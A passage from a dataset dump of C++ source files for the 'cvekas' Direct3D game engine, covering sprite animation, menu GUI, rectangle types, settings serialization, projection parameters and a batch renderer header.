uint16(vtx_per_branch * i + j * 2);\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 2] = uint16(vtx_per_branch * i + ((j+1)%crystal_sides) * 2 + 1);\r\n\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 3] = uint16(vtx_per_branch * i + ((j+1)%crystal_sides) * 2);\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 4] = uint16(vtx_per_branch * i + ((j+1)%crystal_sides) * 2 + 1);\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 5] = uint16(vtx_per_branch * i + j * 2);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid Snowflake::genHexes(uint count)\r\n{\r\n\thexes.reserve(count);\r\n\twhile(count--)\r\n\t{\r\n\t\tHex h;\r\n\t\th.pos = Vector2(prng.randFloat(0.0f, 1024.0f), prng.randFloat(0.0f, 576.0f));\r\n\t\th.vel = Vector2(-1.0f, prng.randFloat(-1.5f, 1.5f));\r\n\t\th.vel.normalize();\r\n\t\th.vel *= 10.0f;\r\n\t\th.rot = prng.randFloat(0.0f, pi * 2.0f);\r\n\t\th.a_vel = prng.normal(0.0f, 0.01f);\r\n\t\th.size = prng.normal(200.0f, 5000.0f);\r\n\t\th.t = prng.normal(1.5f, 0.2f);\r\n\t\th.c = Color(prng.randInt(70, 120), prng.randInt(8, 20), prng.randInt(15, 32));\r\n\t\thexes.push_back(h);\r\n\t}\r\n}\r\n\r\nvoid Snowflake::updateHexes(float t)\r\n{\r\n\tstatic float last_t = -1.0f;\r\n\tif(last_t == -1.0f)\r\n\t{\r\n\t\tlast_t = t;\r\n\t\treturn;\r\n\t}\r\n\r\n\tfloat dt = t - last_t;\r\n\tdt *= 10.0f;\r\n\tfor(uint i = 0; i < hexes.size(); ++i)\r\n\t{\r\n\t\tHex& h = hexes[i];\r\n\t\th.pos += h.vel * dt;\r\n\t\tif(h.pos.x < -h.size / 2.0f)\r\n\t\t\th.pos.x += 1024.0f + h.size;\r\n\t\tif(h.pos.y < -h.size / 2.0f)\r\n\t\t\th.pos.y += 576.0f + h.size;\r\n\t\tif(h.pos.y > 576.0f + h.size / 2.0f)\r\n\t\t\th.pos.y -= 576.0f + h.size;\r\n\r\n\t\th.rot += h.a_vel * dt;\r\n\t\tif(h.rot > pi * 2.0f)\r\n\t\t\th.rot -= pi * 2.0f;\r\n\t\tif(h.rot < 0.0f)\r\n\t\t\th.rot += pi * 2.0f;\r\n\t}\r\n\tlast_t = t;\r\n}\r\n\r\nvoid Snowflake::drawHexes(float t)\r\n{\r\n\r\n\tconst Vector2 center(1024.0f/2.0f, 576.0f/2.0f);\r\n\tconst float fadein_length = 0.4f;\r\n\tfloat bf = beat2_factor(t);\r\n\tfloat gt = transformT(75.0f, 76.0f, t);\r\n\tgt = min(max(0.0f, gt), 1.0f);\r\n\r\n\tfor(uint i = 0; i < hexes.size(); ++i)\r\n\t{\r\n\t\tbool brot = false;\r\n\t\tif(i % 3 == 0)\r\n\t\t\tbrot = true;\r\n\r\n\t\tHex& h = hexes[i];\r\n\r\n\t\tfloat cf = transformT(44.0f + h.t, 44.0f + h.t + fadein_length, t);\r\n\t\tColor transp = h.c;\r\n\t\ttransp.a = 0;\r\n\t\tColor c = Color::smoothstep(transp, h.c, cf);\r\n\r\n\t\tVector2 away = h.pos - center;\r\n\t\taway.normalize();\r\n\t\taway = center + away * 800.0f;\r\n\r\n\t\tVector2 pos = lerp(h.pos, away, gt*gt);\r\n\t\tsprite_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f),\r\n\t\t\tRectF(pos.x - h.size/2.0f, pos.y - h.size/2.0f, h.size, h.size), c, h.rot + (brot ? bf : 0.0f));\r\n\t\t/*\r\n\t\tif(h.pos.x < h.size/2.0f)\r\n\t\t\tsprite_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f),\r\n\t\t\t\tRectF(h.pos.x - h.size/2.0f + 1024.0f, h.pos.y - h.size/2.0f, h.size, h.size), c, h.rot);\r\n\t\tif(h.pos.x > 1024.0f - h.size/2.0f)\r\n\t\t\tsprite_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f),\r\n\t\t\t\tRectF(h.pos.x - h.size/2.0f - 1024.0f, h.pos.y - h.size/2.0f, h.size, h.size), c, h.rot);\r\n\t\tif(h.pos.y < h.size/2.0f)\r\n\t\t\tsprite_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f),\r\n\t\t\t\tRectF(h.pos.x - h.size/2.0f, h.pos.y - h.size/2.0f + 576.0f, h.size, h.size), c, h.rot);\r\n\t\tif(h.pos.y > 576.0f - h.size/2.0f)\r\n\t\t\tsprite_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f),\r\n\t\t\t\tRectF(h.pos.x - h.size/2.0f, h.pos.y - h.size/2.0f - 576.0f, h.size, h.size), c, h.rot);\r\n\t\t*/\r\n\t}\r\n\tsprite_batch->present();\r\n}\r\n" }, { "alpha_fraction": 0.6921529173851013, "alphanum_fraction": 0.6951709985733032, "avg_line_length": 26.399999618530273, "blob_id": "9053c3c4bb1a682c797439a975c8f71d7618d8c3", "content_id": "0faa2ea78135f59e38584356c3cc055e4b08f9e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 994, "license_type": "no_license", "max_line_length": 95, "num_lines": 35, "path": "/source/ConsoleLogListener.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"ConsoleLogListener.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nConsoleLogListener::ConsoleLogListener()\r\n{\r\n\t::AllocConsole();\r\n\th_stdout = ::GetStdHandle(STD_OUTPUT_HANDLE);\r\n}\r\n\r\nvoid ConsoleLogListener::add()\r\n{\r\n\t// If user closes this console window lots of memory will be leaked.\r\n\tconst std::string message = \"Don't close this console window, close main window instead\\n\";\r\n\r\n\t// If we pass NULL as 4-th argument to WriteConsole access violation exception will be thrown.\r\n\tDWORD tmp;\r\n\t::WriteConsole(h_stdout, message.c_str(), static_cast<DWORD>(message.size()), &tmp, NULL);\r\n}\r\n\r\nvoid ConsoleLogListener::remove()\r\n{\r\n\t::FreeConsole();\r\n}\r\n\r\nvoid ConsoleLogListener::sendMsg(const std::string& msg)\r\n{\r\n\t// If we pass NULL as 4-th argument to WriteConsole access violation exception will be thrown.\r\n\tDWORD tmp;\r\n\t::WriteConsole(h_stdout, msg.c_str(), static_cast<DWORD>(msg.size()), &tmp, NULL);\r\n\t::WriteConsole(h_stdout, \"\\n\", 1, &tmp, NULL);\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.6454943418502808, "alphanum_fraction": 0.6883639693260193, "avg_line_length": 36.628379821777344, "blob_id": "33e65a9d4a16a7cb0e4aff033d6bb5a6daa24ef7", "content_id": "b840254e7252d5421a2507132806ddb47122ec88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5715, "license_type": "no_license", "max_line_length": 115, "num_lines": 148, "path": "/apps/Collapse/Menus.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Menus.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"States.h\"\r\n\r\nconst Color font_invisible(0, 0, 0, 0);\r\nconst Color font_color(0, 0, 0, 255);\r\nconst Color font_color_selected(128, 128, 128);\r\n\r\nconst Vector2 continue_pos(10.0f, 10.0f);\r\nconst Vector2 new_game_pos(10.0f, 34.0f);\r\nconst Vector2 highscores_pos(10.0f, 58.0f);\r\nconst Vector2 options_pos(10.0f, 82.0f);\r\nconst Vector2 quit_pos(10.0f, 106.0f);\r\n\r\nconst Vector2 sound_vol_pos(140.0f, 10.0f);\r\nconst Vector2 sound_slider_pos(140.0f, 34.0f);\r\nconst Vector2 music_vol_pos(140.0f, 40.0f);\r\nconst Vector2 music_slider_pos(140.0f, 64.0f);\r\nconst Vector2 mouse_speed_pos(140.0f, 80.0f);\r\nconst Vector2 mouse_slider_pos(140.0f, 104.0f);\r\nconst Vector2 resolution_pos(140.0f, 120.0f);\r\nconst Vector2 resolution_selector_pos(140.0f, 142.0f);\r\nconst Vector2 fullscreen_pos(140.0f, 168.0f);\r\nconst Vector2 vsync_pos(140.0f, 192.0f);\r\nconst Vector2 back_pos(140.0f, 216.0f);\r\n\r\nvoid MainMenu::render(const StateManager& state_manager)\r\n{\r\n\tgui->doButton(continue_pos, \"CONTINUE\");\r\n\tif(gui->doButton(new_game_pos, \"NEW GAME\"))\r\n\t\tstate_manager.pushState(GAME);\r\n\r\n\tgui->doButton(highscores_pos, \"HIGHSCORES\");\r\n\r\n\tif(gui->doButton(options_pos, \"OPTIONS\"))\r\n\t\tstate_manager.pushState(OPTIONS);\r\n\t\r\n\tif(gui->doButton(quit_pos, \"QUIT\"))\r\n\t\tstate_manager.popState();\r\n}\r\n\r\nvoid MainMenu::fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n{\r\n\tif(to == HIGHSCORES || to == OPTIONS || from == HIGHSCORES || from == OPTIONS)\r\n\t{\r\n\t\tColor color = Color::lerp(font_color_selected, font_color, amount);\r\n\t\tfont->draw(continue_pos, \"CONTINUE\", color);\r\n\t\tfont->draw(new_game_pos, \"NEW GAME\", color);\r\n\t\tfont->draw(highscores_pos, \"HIGHSCORES\", color);\r\n\t\tfont->draw(options_pos, \"OPTIONS\", color);\r\n\t\tfont->draw(quit_pos, \"QUIT\", color);\r\n\t}\r\n\tif(to == GAME || from == GAME)\r\n\t{\r\n\t\tfloat position = (10.0f - 100.0f) + (amount*amount * 100.0f);\r\n\t\tColor color = Color::lerp(font_invisible, font_color, amount);\r\n\r\n\t\tfont->draw(Vector2(position, continue_pos.y), \"CONTINUE\", color);\r\n\t\tfont->draw(Vector2(position, new_game_pos.y), \"NEW GAME\", color);\r\n\t\tfont->draw(Vector2(position, highscores_pos.y), \"HIGHSCORES\", color);\r\n\t\tfont->draw(Vector2(position, options_pos.y), \"OPTIONS\", color);\r\n\t\tfont->draw(Vector2(position, quit_pos.y), \"QUIT\", color);\r\n\t}\r\n}\r\n\r\nOptionsMenu::OptionsMenu(RendererPtr main_renderer, BitmapFontPtr font, CollapseGUIStylePtr gui_style)\r\n\t: State(main_renderer), font(font), gui_style(gui_style)\r\n{\r\n\tEngine e;\r\n\tgui = e.getGUI();\r\n\r\n\tDisplayModesPtr modes = video_device->getModes();\r\n\tfor(uint n = 0; n < modes->getModeCount(); n++)\r\n\t{\r\n\t\tresolutions.push_back(modes->getMode(n).getDescription());\r\n\t}\r\n\r\n\tVideoSettings& settings = video_device->getSettings();\r\n\t\r\n\tuint current_mode = modes->getCurrentAppMode(video_device->getSettings());\r\n\tgui->setSelectorState(Vector2(140.0f, 142.0f), current_mode);\r\n\tgui->setSwitchState(Vector2(140.0f, 168.0f), settings[\"Fullscreen\"]);\r\n\tgui->setSwitchState(Vector2(140.0f, 192.0f), settings[\"VSync\"]);\r\n\r\n\t// TODO: set slider states to proper values\r\n\tgui->setSliderState(Vector2(140.0f, 34.0f), 0.5f);\r\n\tgui->setSliderState(Vector2(140.0f, 64.0f), 0.5f);\r\n\tgui->setSliderState(Vector2(140.0f, 104.0f), 0.5f);\r\n}\r\n\r\nvoid OptionsMenu::render(const StateManager& state_manager)\r\n{\r\n\tMainMenuPtr main_menu = boost::static_pointer_cast<MainMenu>(state_manager.getState(MAIN_MENU));\r\n\tmain_menu->fade(state_manager, 0.0f, OPTIONS, -1);\r\n\r\n\tgui->doLabel(sound_vol_pos, \"SOUND VOLUME:\");\r\n\tgui->doSlider(sound_slider_pos);\r\n\tgui->doLabel(music_vol_pos, \"MUSIC VOLUME:\");\r\n\tgui->doSlider(music_slider_pos);\r\n\tgui->doLabel(mouse_speed_pos, \"MOUSE SPEED:\");\r\n\tgui->doSlider(mouse_slider_pos);\r\n\tgui->doLabel(resolution_pos, \"RESOLUTION:\");\r\n\tuint mode = gui->doSelector(resolution_selector_pos, resolutions);\r\n\tbool fullscreen = gui->doSwitch(fullscreen_pos, \"FULLSCREEN\");\r\n\tbool vsync = gui->doSwitch(vsync_pos, \"VSYNC\");\r\n\t\r\n\tif(gui->doButton(back_pos, \"BACK\"))\r\n\t{\r\n\t\t// Set new video params\r\n\t\tVideoSettings& settings = video_device->getSettings();\r\n\t\tvideo_device->getModes()->setMode(settings, mode);\r\n\t\tsettings[\"Fullscreen\"] = fullscreen;\r\n\t\tsettings[\"VSync\"] = vsync;\r\n\t\tvideo_device->switchMode();\r\n\r\n\t\t// Return to previuos state\r\n\t\tstate_manager.popState();\r\n\t}\r\n}\r\n\r\nvoid OptionsMenu::fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n{\r\n\tif(to == MAIN_MENU || from == MAIN_MENU)\r\n\t{\r\n\t\tfloat position = 10.0f + (amount*amount * 130.0f);\r\n\r\n\t\tColor color = Color::lerp(font_invisible, font_color, amount);\r\n\t\t\r\n\t\tfont->draw(Vector2(position, sound_vol_pos.y), \"SOUND VOLUME:\", color);\r\n\t\tgui_style->drawSimpleSlider(Vector2(position, sound_slider_pos.y), gui->getSliderState(sound_slider_pos), color);\r\n\t\tfont->draw(Vector2(position, music_vol_pos.y), \"MUSIC VOLUME:\", color);\r\n\t\tgui_style->drawSimpleSlider(Vector2(position, music_slider_pos.y), gui->getSliderState(music_slider_pos), color);\r\n\t\tfont->draw(Vector2(position, mouse_speed_pos.y), \"MOUSE SPEED:\", color);\r\n\t\tgui_style->drawSimpleSlider(Vector2(position, mouse_slider_pos.y), gui->getSliderState(mouse_slider_pos), color);\r\n\t\tfont->draw(Vector2(position, resolution_pos.y), \"RESOLUTION:\", color);\r\n\r\n\t\tfont->draw(Vector2(position, resolution_selector_pos.y), \r\n\t\t\t\"[\" + resolutions[gui->getSelectorState(resolution_selector_pos)] + \"]\", color);\r\n\t\t\r\n\t\tfont->draw(Vector2(position, fullscreen_pos.y), \r\n\t\t\tgui->getSwitchState(fullscreen_pos) ? \"+ FULLSCREEN\" : \"- FULLSCREEN\", color);\r\n\t\t\r\n\t\tfont->draw(Vector2(position, vsync_pos.y), gui->getSwitchState(vsync_pos) ? \"+ VSYNC\" : \"- VSYNC\", color);\r\n\t\tfont->draw(Vector2(position, back_pos.y), \"BACK\", color);\r\n\t}\r\n}" }, { "alpha_fraction": 0.5646085143089294, "alphanum_fraction": 0.5779758095741272, "avg_line_length": 17.662500381469727, "blob_id": "fa5b6baa8e54a818ef3b119f911ce819d93f95f3", "content_id": "5fe7dd1cd630359fbb8861e8b0bd6db96eab9ef0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1571, "license_type": "no_license", "max_line_length": 97, "num_lines": 80, "path": "/source/Rect.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RECT_H\r\n#define RECT_H\r\n\r\n#include \"Vector2.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Rectangle\r\nstruct Rect\r\n{\r\n\t/// Constructor\r\n\tRect() : x(0), y(0), width(0), height(0) {};\r\n\t\r\n\t/// Constructor\r\n\tRect(int x, int y, int width, int height) : x(x), y(y), width(width), height(height) {};\r\n\t\r\n\t/// Convert-to-WinApi-RECT operator\r\n\toperator RECT() const\r\n\t{\r\n\t\tRECT r;\r\n\t\tr.top = y;\r\n\t\tr.left = x;\r\n\t\tr.bottom = y + height;\r\n\t\tr.right = x + width;\r\n\t\treturn r;\r\n\t}\r\n\t\r\n\tint x, y, width, height;\r\n};\r\n\r\n/// Rectangle, float coordinates\r\nstruct RectF\r\n{\r\n\t/// Constructor\r\n\tRectF() : x(0.0f), y(0.0f), width(0.0f), height(0.0f) {}\r\n\t\r\n\t/// Constructor\r\n\tRectF(float x, float y, float width, float height) : x(x), y(y), width(width), height(height) {}\r\n\r\n\tRectF(const Vector2& top_left, const Vector2& size) \r\n\t\t: x(top_left.x), y(top_left.y), width(size.x), height(size.y) {}\r\n\t\r\n\t/// Returns true if point is inside rectangle\r\n\tbool collidePoint(const Vector2& point)\r\n\t{\r\n\t\tif(point.x > x && point.x < (x + width))\r\n\t\t\tif(point.y > y && point.y < (y + height))\r\n\t\t\t\treturn true;\r\n\t\treturn false;\r\n\t}\r\n\r\n\t/// Returns top left point coordinates\r\n\tVector2 topLeft()\r\n\t{\r\n\t\treturn Vector2(x, y);\r\n\t}\r\n\r\n\t/// Returns width and height in Vector2\r\n\tVector2 size()\r\n\t{\r\n\t\treturn Vector2(abs(width), abs(height));\r\n\t}\r\n \t\r\n\t/// Convert-to-WinApi-RECT operator\r\n\toperator RECT() const\r\n\t{\r\n\t\tRECT r;\r\n\t\tr.top = (int)y;\r\n\t\tr.left = (int)x;\r\n\t\tr.bottom = (int)(y + height);\r\n\t\tr.right = (int)(x + width);\r\n\t\treturn r;\r\n\t}\r\n\t\r\n\tfloat x, y, width, height;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6617915630340576, "alphanum_fraction": 0.6620962619781494, "avg_line_length": 23.418603897094727, "blob_id": "50c49d067f0c46de89196bf3470435c46c9dc869", "content_id": "90e571ef9b191ca573f36762c1d6d51184eeb756", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3282, "license_type": "no_license", "max_line_length": 83, "num_lines": 129, "path": "/source/Settings.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Settings.h\"\r\n\r\n#include \"Exception.h\"\r\n#include \"Filesystem.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nSettingsGroup::SettingsGroup(const std::string& name, const std::string& filename)\r\n: name(name), filename(filename)\r\n{\r\n}\r\n\r\nvoid SettingsGroup::deserialize(const MMLNode& mml)\r\n{\r\n\tif(mml.name != \"group\")\r\n\t\tthrow EXCEPTION(\"Node must be named group\");\r\n\tif(mml.value != mml.name)\r\n\t\tthrow EXCEPTION(\"Node must have same value as SettingsGroup name\");\r\n\r\n\tstd::list<MMLNode>::const_iterator itr = mml.children.begin();\r\n\tfor(; itr != mml.children.end(); ++itr)\r\n\t{\r\n\t\tif(!itr->children.empty())\r\n\t\t\tthrow EXCEPTION(\"Setting can't have any children\");\r\n\r\n\t\tsettings[itr->name] = SettingValue(itr->value);\r\n\t}\r\n}\r\n\r\nMMLNode SettingsGroup::serialize() const\r\n{\r\n\tMMLNode result(\"group\", name);\r\n\r\n\tif(settings.size() == 0)\r\n\t\treturn result;\r\n\r\n\tstd::map<std::string, SettingValue>::const_iterator itr = settings.begin();\r\n\tfor(; itr != settings.end(); ++itr)\r\n\t{\r\n\t\tMMLNode setting(itr->first, static_cast<std::string>(itr->second));\r\n\t\tresult.append(setting);\r\n\t}\r\n\r\n\treturn result;\r\n}\r\n\r\nSettingValue& SettingsGroup::operator[](const std::string& name)\r\n{\r\n\tstd::pair<std::map<std::string, SettingValue>::iterator, bool> result =\r\n\t\tsettings.insert(std::make_pair(name, SettingValue()));\r\n\t\r\n\treturn result.first->second;\r\n}\r\n\r\nSettings::Settings(const std::string &filename)\r\n{\r\n\tload(filename);\r\n}\r\n\r\nvoid Settings::load(const std::string& filename)\r\n{\r\n\tMML input(Filesystem::readFileToString(filename));\r\n\r\n\tMMLNode& root = input.getRoot();\r\n\r\n\tif(root.name != \"settings\")\r\n\t\tthrow EXCEPTION(\"Root node must be named settings\");\r\n\r\n\tstd::list<MMLNode>::const_iterator itr = root.children.begin();\r\n\tfor(; itr != root.children.end(); ++itr)\r\n\t{\r\n\t\tif(itr->name != \"group\")\r\n\t\t\tthrow EXCEPTION(\"Node must be named group\");\r\n\r\n\t\tstd::pair<std::map<std::string, SettingsGroup>::iterator, bool> result = \r\n\t\t\t\tgroups.insert(std::make_pair(itr->value, SettingsGroup(itr->value, filename)));\r\n\t\tif(!result.second)\r\n\t\t{\r\n\t\t\tresult.first->second.name = itr->value;\r\n\t\t\tresult.first->second.filename = filename;\r\n\t\t}\r\n\r\n\t\tresult.first->second.deserialize(*itr);\r\n\t}\r\n}\r\n\r\nvoid Settings::save(const std::string& group_name)\r\n{\r\n\tSettingsGroup& group = (*this)[group_name];\r\n\t\r\n\tMML output;\r\n\tMMLNode& root = output.getRoot();\r\n\r\n\troot.name = \"settings\";\r\n\troot.value = \"_\";\r\n\r\n\tstd::map<std::string, SettingsGroup>::const_iterator itr = groups.begin();\r\n\tfor(; itr != groups.end(); ++itr)\r\n\t{\r\n\t\tif(itr->second.filename != group.filename)\r\n\t\t\tcontinue;\r\n\r\n\t\troot.append(itr->second.serialize());\r\n\t}\r\n\r\n\tFilesystem::writeStringToFile(group.filename, output.serialize());\r\n}\r\n\r\nvoid Settings::insert(const std::string& name, const SettingsGroup& group)\r\n{\r\n\tstd::pair<std::map<std::string, SettingsGroup>::iterator, bool> result =\r\n\t\tgroups.insert(std::make_pair(name, group));\r\n\r\n\tif(!result.second)\r\n\t\tthrow EXCEPTION(\"SettingsGroup \" + name + \" already exists\");\r\n}\r\n\r\nSettingsGroup& Settings::operator[](const std::string& group_name)\r\n{\r\n\tstd::map<std::string, SettingsGroup>::iterator itr = groups.find(group_name);\r\n\r\n\tif(itr == groups.end())\r\n\t\tthrow EXCEPTION(\"Settings group \" + group_name + \" doesn't exist\");\r\n\r\n\treturn itr->second;\r\n}\r\n\r\n} // namespace\r\n\t\r\n" }, { "alpha_fraction": 0.5516645312309265, "alphanum_fraction": 0.5745784640312195, "avg_line_length": 21.149999618530273, "blob_id": "affab7cd8d3769b68f97c3da2697db553e8fd8cb", "content_id": "7b06a6f83053a759450ffe183e129bb5529b3811", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2313, "license_type": "no_license", "max_line_length": 101, "num_lines": 100, "path": "/source/RenderingParams.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"RenderingParams.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nvoid RenderingParams::setPerFrame(float time)\r\n{\r\n\tthis->time = time;\r\n}\r\n\r\nvoid RenderingParams::setPerScene(const Matrix& projection, const Vector2& rt_size, bool perspective)\r\n{\r\n\tthis->projection = projection;\r\n\r\n\tthis->rendertarget_size = rt_size;\r\n\r\n\tview_projection = view * projection;\r\n\tworld_view_projection = world_view * projection;\r\n\r\n\tif(perspective)\r\n\t{\r\n\t\t// Z near/far derivation from perspective LH projection matrix:\r\n\t\t// a = m33 = zf/(zf-zn)\r\n\t\t// b = m43 = (-zn*zf)/(zf-zn) (see D3DXMatrixPerspectiveFovLH docs)\r\n\t\t//\r\n\t\t// zn:\r\n\t\t// b / a = ((-zn*zf)/(zf-zn)) / (zf/(zf-zn)) = -zn\r\n\t\t// zn = -b / a\r\n\t\t//\r\n\t\t// zf:\r\n\t\t// a = zf/(zf-zn) \r\n\t\t// a/zf = 1/(zf-zn) \r\n\t\t// zf/a = zf - zn\r\n\t\t// zn = zf - (zf/za)\r\n\t\t// zn / zf = 1 - (1/a)\r\n\t\t// 1 / zf = (1 - 1/a) / zn\r\n\t\t// zf = zn / (1 - 1/a)\r\n\r\n\t\tfloat a = projection._33;\r\n\t\tfloat b = projection._34;\r\n\r\n\t\tclip_near = -b / a;\r\n\t\tclip_far = clip_near / (1.0f - 1.0f / a);\r\n\r\n\t\t// fov derivation from perspective LH projection:\r\n\t\t// a = m22 = ctg(fov/2) (see D3DXMatrixPerspectiveFovLH docs)\r\n\t\t// fov = 2 * arcctg(a)\r\n\t\t// fov = 2 * arctan(1/a)\r\n\t\tprojection_fov = 2.0f * atan(1.0f / projection._22);\r\n\t}\r\n\telse\r\n\t{\r\n\t\t// Z near/far derivation from orthographic LH projection matrix:\r\n\t\t// a = m33 = 1/(zf-zn)\r\n\t\t// b = m43 = -zn/(zf-zn) (see D3DXMatrixOrthoLH docs)\r\n\t\t//\r\n\t\t// zn:\r\n\t\t// b / a = (-zn/(zf-zn)) / (1/(zf-zn)) = -zn\r\n\t\t// zn = -b / a\r\n\t\t//\r\n\t\t// zf:\r\n\t\t// a = 1/(zf-zn) \r\n\t\t// 1/a = zf - zn \r\n\t\t// zf = 1/a + zn\r\n\r\n\t\tfloat a = projection._33;\r\n\t\tfloat b = projection._34;\r\n\r\n\t\tclip_near = -b / a;\r\n\t\tclip_far = 1.0f / a + clip_near;\r\n\r\n\t\t// No fov for orthographic projection!\r\n\t\tprojection_fov = 0.0f;\r\n\t}\r\n}\r\n\r\nvoid RenderingParams::setPerBatch(const Matrix& world, int pass)\r\n{\r\n\tthis->world = world;\r\n\r\n\tworld_view = world * view;\r\n\tworld_view_projection = world * view_projection;\r\n\r\n\tthis->pass = pass;\r\n}\r\n\r\nvoid RenderingParams::setCamera(const Camera& camera)\r\n{\r\n\tview = camera.getViewMatrix();\r\n\r\n\tworld_view = world * view;\r\n\tview_projection = view * projection;\r\n\tworld_view_projection = world * view_projection;\r\n\r\n\tcamera_pos = camera.getPosition();\r\n\tcamera_dir = camera.getDirection();\r\n\tcamera_up = camera.getUp();\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.70088130235672, "alphanum_fraction": 0.7065837383270264, "avg_line_length": 22.90322494506836, "blob_id": "e9a844fb10e8af99242bf0c2bb0ab07c9dfdbdb8", "content_id": "88f54d35dfcf79804b7727eb6807fc387c410a51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3858, "license_type": "no_license", "max_line_length": 106, "num_lines": 155, "path": "/source/Renderer.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RENDERER_H\r\n#define RENDERER_H\r\n\r\n#include \"Resource.h\"\r\n#include \"CommonTypes.h\"\r\n#include \"MemUtils.h\"\r\n\r\n#include \"EffectManager.h\"\r\n#include \"GpuBufferManager.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass Renderable;\r\n\r\n/// Describes single GPU work \"packet\"\r\nstruct Batch\r\n{\r\n\t/// Default constructor\r\n\tBatch();\r\n\r\n\t/// Copy constructor\r\n\tBatch(const Batch& batch);\r\n\r\n\t/// Assignment operator\r\n\tconst Batch& operator=(const Batch& batch);\r\n\r\n\t/// Sort operator.\r\n\t/// Batches are sorted first by priority, then by effect ID, pass, vertex buffer ID and index buffer ID\r\n\t/// in that order.\r\n\tbool operator<(const Batch& batch) const;\r\n\t\r\n\t/// Batch priority. \r\n\t/// Batches with higher priority value will always be rendered before the ones with lower priority.\r\n\tuint16 priority;\r\n\r\n\t/// This value will be provided to Renderable::onPreRender.\r\n\t/// Acts only as user-data, has no meaning from engine's point of view.\r\n\tuint16 batch_id;\r\n\r\n\t// Maybe use pointers instead of ids?\r\n\r\n\t/// ResourceId of vertex buffer used in this batch.\r\n\tResourceId vb_id;\r\n\r\n\t/// ResourceId of index buffer used in this batch.\r\n\t/// Value of Resource::INVALID_ID indicates that no index buffer is used.\r\n\tResourceId ib_id;\r\n\r\n\t/// ResourceId of effect used in this batch.\r\n\tResourceId effect_id;\r\n\r\n\t/// Index of effect technique\r\n\tuint technique;\r\n\t\r\n\t/// Effect pass number.\r\n\tuint pass;\r\n\r\n\t/// Index of where to begin reading index buffer.\r\n\t/// Indicates first vertex in vertex buffer if no index buffer is used.\r\n\tuint start_index;\r\n\r\n\t/// Number of triangles to draw.\r\n\tuint tri_count;\r\n\r\n\t/// Renderable which owns this batch.\r\n\t/// Can be NULL, but in that case Renderable::onPreRender will not be called before rendering this batch.\r\n\tRenderable* owner;\r\n};\r\n\r\n/// Base class for objects which can be rendered by GPU\r\nclass Renderable\r\n{\r\npublic:\r\n\r\n\t/// Called just before rendering batch. Useful to set effect states.\r\n\t/// \\param batch_id ID number of batch\r\n\tvirtual void onPreRender(uint16 batch_id) = 0;\r\n\r\n\t/// Called by Renderer::prepare function.\r\n\t/// \\param batches pointer to array of batches\r\n\t/// \\returns number of batches\r\n\tvirtual uint getBatches(Batch** batches) = 0;\r\n};\r\n\r\n/// Renderer statistics of a single frame\r\nstruct FrameStats\r\n{\r\n\tuint triangle_count;\r\n\tuint batch_count;\r\n\tuint effect_changes;\r\n\tuint pass_changes;\r\n\tuint ib_changes;\r\n\tuint vb_changes;\r\n};\r\n\r\n/// Object responsible for sending Renderables and Batches to GPU in most optimal way\r\nclass Renderer : public boost::noncopyable\r\n{\r\npublic:\r\n\r\n\t/// Constructor.\r\n\tRenderer(D3DDevicePtr device, EffectManagerPtr effect_manager, GpuBufferManagerPtr gpu_buffer_manager);\r\n\r\n\t/// Destructor.\r\n\t~Renderer();\r\n\r\n\t/// Registers Renderable for getting rendered at next frame.\r\n\tvoid prepare(Renderable& renderable);\r\n\r\n\t/// Registers Batch for getting rendered at next frame.\r\n\tvoid prepare(Batch& batch);\r\n\r\n\t/// Renders all registered Renderables.\r\n\tvoid render(uint16 min_priority = MAX_UINT16, uint16 max_priority = MAX_UINT16);\r\n\t\r\n\t/// Clears internal data structures and updates stats. Must be called at the end of each frame.\r\n\tvoid endFrame();\r\n\r\n\t/// Provides last frame statistics.\r\n\tconst FrameStats& getStatistics();\r\n\r\nprivate:\r\n\tvoid sort();\r\n\tvoid reset();\r\n\r\n\t// Maximum amount of batches per frame renderer can draw\r\n\tstatic const uint max_batches = 1024;\r\n\t\r\n\tD3DDevicePtr device;\r\n\t\r\n\tboost::array<Batch, max_batches> batches;\r\n\tuint batch_count;\r\n\tbool needs_reset;\r\n\tbool is_sorted;\r\n\r\n\tResourceId active_vb;\r\n\tuint active_vb_start_index;\r\n\tResourceId active_ib;\r\n\tResourceId 